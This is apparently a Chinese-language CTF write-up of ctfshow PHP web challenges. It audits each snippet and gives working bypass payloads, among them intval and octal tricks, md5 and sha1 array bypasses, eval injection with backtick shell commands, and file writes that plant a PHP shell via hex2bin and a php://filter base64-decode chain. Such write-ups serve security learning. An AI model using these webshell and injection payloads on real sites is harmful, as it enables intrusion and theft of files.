这段PHP代码是一个简单的源码审计例子,让我们逐步分析它:
include("flag.php");
: 这行代码将flag.php
文件包含进来。如果flag.php
文件中定义了变量 $flag
,它将在当前文件中可用。
highlight_file(__FILE__);
: 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们查看代码的内容。
下面是一个针对用户输入的num
参数的处理:
a. $num = $_GET['num'];
: 从GET请求中获取名为num
的参数,并将其赋值给变量$num
。
b. if($num==4476){ die("no no no!"); }
: 如果用户输入的num
等于4476,将输出"no no no!"并终止脚本的执行。
c. if(preg_match("/[a-z]/i", $num)){ die("no no no!"); }
: 如果用户输入的num
中包含任何字母(大小写不敏感),将输出"no no no!"并终止脚本的执行。
d. if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }
: 在这里,intval()
函数将尝试将$num
转换为整数类型。如果转换后的结果等于4476,将输出$flag
的内容,否则输出转换后的整数值。
所以,从审计的角度来看:
代码中对用户输入num
进行了多层过滤,主要是为了防止用户输入恶意数据。首先检查是否等于4476,其次检查是否包含字母。但这里有一个问题:它使用了intval()
函数来转换输入,将输入强制转换为整数。在这里,如果输入的值以零开头(例如:001),则PHP会将其视为八进制数。
因此,用户可以通过输入以零开头的数字来绕过检查,获取到flag。
例如:传入 num=010574
,它会被当作4476处理,然后输出$flag
的内容。
还有小数也可以绕过if($num==4476){ die("no no no!"); }
。比如传 ?num=4476.1
OK这题就完全理解了。
对比web 93,有以下几个重要的改动:
if($num==="4476"){ die("no no no!"); }
: 这里使用了三个等号(===
),意味着在比较时不仅要比较值,还要比较类型。
if(!strpos($num, "0")){ die("no no no!"); }
: 传入的参数的第一位不能为0,如果是0,就die
最后的条件判断变为 if(intval($num,0)===4476){ echo $flag; }
,这个条件确保用户输入不是以0开头,且转换为整数后与4476相等,才会输出$flag
的内容。
可以传参:
?num=(空格)+010574
?num=4476.0
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
preg_match函数来检查变量$num是否包含任何小写字母(a到z之间)或者一个句号(.)。如果发现包含这些字符,就会执行die()函数,输出 “no no no!!” 并终止脚本的执行。
刚刚web 94 用到小数形式就不能用了。所以只能用:
?num=(空格)+ 010574
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
使用u传一个参,不能直接等于“flag.php”,如果u直接等于flag.php,那么将结束语句并输出 no no no。
使用两种方法传参:
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
前面都是GET,到此改为POST传参。
满足题目条件:a、b存在且非空,a与b不相等但他们的MD5相等时,输出flag。
如果是双等号不是三等号,在这样的弱比较里,0e开头的会被识别成科学计数法,结果均为0,比较时0=0为true绕过。
像这样的强比较,上面的方法就失效了,但是如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过。
数组轻松绕过:
a[]=1&b[]=2
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
$_GET?$_GET=&$_POST:'flag';
这句语句表示,如果存在get方式,就把post的地址传给get,相当于get,只不过要利用post传一下参数。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
如果有通过GET方法传参’HTTP_FLAG=flag’,就显示flag。否则显示__FILE__.
如此传参:
GET:/?随意内容
POST:HTTP_FLAG=flag
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
这部分代码用于生成一个名为 $allow 的数组,其中包含随机数。生成的随机数范围是从 1 到 0x36d(十进制 875)。↓
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
这部分代码检查是否存在名为 ‘n’ 的 GET 参数,并且该参数的值存在于 $allow 数组中。如果满足这两个条件,将使用 POST 请求中的 ‘content’ 参数将内容写入文件。↓
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
file_put_contents() 函数把一个字符串写入文件中。
如果文件不存在,将创建一个文件。
如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。
GET:?n=1.php
POST:content=<?php system("ls");?>
访问1.php
在这个请求中,GET 参数 ‘n’ 的值是 “1.php”,而 POST 参数 ‘content’ 的值是 ,即恶意代码片段 system(“ls”)。
然后,代码会检查 ‘n’ 参数是否存在于 $allow 数组中。假设 “1.php” 是在 $allow 数组中,则会将 写入名为 “1.php” 的文件。
当访问 “1.php” 时,恶意代码 system(“ls”) 将会被执行,显示当前目录中的内容。
GET:?n=1.php
POST:content=<?php system("tac flag36d.php");?>
访问1.php
在这个请求中,GET 参数 ‘n’ 的值仍然是 “1.php”,而 POST 参数 ‘content’ 的值是 ,即另一个恶意代码片段 system(“tac flag36d.php”)。
假设 “1.php” 仍然是在 $allow 数组中,则会将 写入名为 “1.php” 的文件。
当访问 “1.php” 时,恶意代码 system(“tac flag36d.php”) 将会被执行,显示名为 “flag36d.php” 的文件内容的逆向(从最后一行到第一行)。
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
源码审计:
$ctfshow = new ctfshow();
创建了一个名为 $ctfshow 的对象。
$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3'];
这几行代码从 GET 请求参数中获取数据,并将其存储在变量 $v1, $v2, $v3 中。
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
使用 is_numeric() 函数检查 $v1, $v2, $v3 是否都为数字。然后将结果赋值给变量 $v0。
由于=的优先级高于and,因此只需要v1等于数字就可以绕过上述检查。
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
这段代码是使用正则表达式检查v2、v3是否含有分号。
eval("$v2('ctfshow')$v3");
eval()函数的作用是将传入的字符串作为 PHP 代码进行解析和执行。简单来说,eval() 函数可以在运行时动态执行一段 PHP 代码。
它将 $v2 和 $v3 的值插入到字符串中并执行。
综上,传参让$ctfshow显出来就行了:
/?v1=1&v2=&v3=?><?=`tac ctfshow.php`;
flag格式是ctfshow{}。
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
源码是web 100 的小改款,多出了:
正则检查的符号包括:
1. `\\\\`:匹配反斜杠 `\`。
2. `\/`:匹配正斜杠 `/`。
3. `\~`:匹配波浪号 `~`。
4. `\``:匹配反引号 `` ` ``。
5. `\!`:匹配感叹号 `!`。
6. `\@`:匹配at符号 `@`。
7. `\#`:匹配井号 `#`。
8. `\\$`:匹配美元符号 `$`。
9. `\%`:匹配百分号 `%`。
10. `\^`:匹配插入符号 `^`。
11. `\*`:匹配星号 `*`。
12. `\)`:匹配右括号 `)`。
13. `\-`:匹配减号 `-`。
14. `\_`:匹配下划线 `_`。
15. `\+`:匹配加号 `+`。
16. `\=`:匹配等号 `=`。
17. `\{`:匹配左花括号 `{`。
18. `\[`:匹配左方括号 `[`。
19. `\"`:匹配双引号 `"`。
20. `\'`:匹配单引号 `'`。
21. `\,`:匹配逗号 `,`。
22. `\. `:匹配点号 `.`。
23. `\;`:匹配分号 `;`。
24. `\?`:匹配问号 `?`。
25. `[0-9]`:匹配数字字符 0 到 9。
用到PHP Reflection API 这个东西。
PHP Reflection API 是 PHP 的一组内置类和接口,它允许在运行时获取关于类、接口、函数、方法、属性等各种对象的信息。通过 Reflection API,我们可以在代码运行时动态地分析和获取这些对象的结构和属性,使得 PHP 在运行时具备了一定程度的反射(reflection)能力。
Reflection API 提供了一些类和接口,其中最常用的类包括:
ReflectionClass
:用于获取类的相关信息,如类名、父类、接口、属性、方法等。ReflectionMethod
:用于获取类方法的相关信息,如方法名、参数、访问修饰符等。ReflectionFunction
:用于获取函数的相关信息,如函数名、参数、返回值等。ReflectionProperty
:用于获取类属性的相关信息,如属性名、访问修饰符等。ReflectionParameter
:用于获取函数或方法的参数信息,如参数名、默认值等。通过 Reflection API,开发者可以在运行时动态地探索和操作类、方法和函数的结构,例如:
传参:
/?v1=1&v2=echo%20new%20ReflectionClass&v3=;
分析一下代码的执行过程:
v1=1
:这里将 v1
设置为数字 1。
v2=echo%20new%20ReflectionClass
:这里将 v2
设置为字符串 echo new ReflectionClass
,注意 %20
是 URL 编码的空格符。
v3=;
:这里将 v3
设置为一个分号 ;
。
接下来,代码执行的逻辑是:
首先,is_numeric()
函数会检查 v1
、v2
和 v3
是否都是数字。在这里,v1
是数字 1,因此条件通过。
然后,代码会进行正则表达式匹配,检查 v2
和 v3
是否包含特定的字符。
对于 v2
,正则表达式为 /\\\\|\/|\~|\
|!|@|#|\$|%|^|*|)|-|_|+|=|{|[|“|'|,|.|;|?|[0-9]/,这里的
` 在正则表达式中需要转义,所以实际匹配的是 \|/|~|
|!|@|#|$|%|^|*|)|-|_|+|=|{|[|”|'|,|.|;|?|[0-9]`。没有匹配到特殊字符,所以条件通过。
对于 v3
,正则表达式为 /\\\\|\/|\~|\
|!|@|#|\$|%|^|*|(|-|_|+|=|{|[|“|'|,|.|?|[0-9]/,这里的
` 在正则表达式中需要转义,所以实际匹配的是 \|/|~|
|!|@|#|$|%|^|*|(|-|_|+|=|{|[|”|'|,|.|?|[0-9]`。没有匹配到特殊字符,所以条件通过。
最后,代码会执行以下语句:eval("$v2('ctfshow')$v3");
。
根据我们的输入,这将等效于执行以下代码:eval("echo new ReflectionClass('ctfshow');");
。
eval()
函数将会执行字符串中的代码,因此这里会输出 new ReflectionClass('ctfshow')
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
$v1
。$v2
和$v3
。$v2
和$v3
是否都是数字(通过is_numeric
函数判断),并将结果保存到$v4
中。如果$v4
为真(即$v2
和$v3
都是数字):
从$v2
的第三个字符开始截取子字符串保存到$s
中。$s = substr($v2,2);
调用名为$v1
的回调函数,将$s
作为参数传递给它,并将函数返回值保存到$str
中。
$str = call_user_func($v1,$s);
将$str
输出到页面。
将$str
的内容写入名为$v3
的文件中。file_put_contents($v3,$str);
如果$v4
为假(即$v2
和$v3
不是都是数字):输出字符串"hacker",然后终止程序的执行。
构造传参:
$v1:使用hex2bin()作为回调函数(16进制转化为字符)
$v2:要求全是数字。
$v3:使用PHP伪协议写入文件
$a=<?=`cat *`;
$b=base64_encode($a);
$c=bin2hex($b);
bin2hex是把ASCII 字符的字符串转化为16进制
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可顺利通过is_numeric的检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
故v2=005044383959474e6864434171594473
payload:
GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin //这个就是把16进制转换为ASCII 字符的字符串
传参后,访问1.php后,查看源代码,获得flag
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
对于之前的代码,新增了以下内容:
$str
中是否包含"php"子字符串:if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
这部分代码首先使用正则表达式/.*p.*h.*p.*/i
来检查$str
中是否包含"php"子字符串。正则表达式的含义是任意字符,后面跟着"p",后面跟着任意字符,后面跟着"h",后面再跟着任意字符,最后跟着"p",而i
标记表示忽略大小写。这样的正则表达式会匹配包含"php"子字符串的任何形式。
$str
中不包含"php"子字符串,则将$str
写入名为$v3
的文件中:file_put_contents($v3,$str);
$str
中包含"php"子字符串,则输出字符串"Sorry"并终止程序的执行:die('Sorry');
这样的改动尝试防止用户将"php"关键词写入文件中,以防止潜在的代码注入攻击。如果$str
中包含"php",则直接输出"Sorry",并停止文件写入。
然而我们的传参不受黑名单限制,payload依然是一样:
GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin //这个就是把16进制转换为ASCII 字符的字符串
传参后,访问1.php后,查看源代码,获得flag
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
sha1与md5一样,都是无法处理数组。所以这题跟web 97是一样的做法。使用数组进行绕过:
POST:v1[]=2
GET:v2[]=1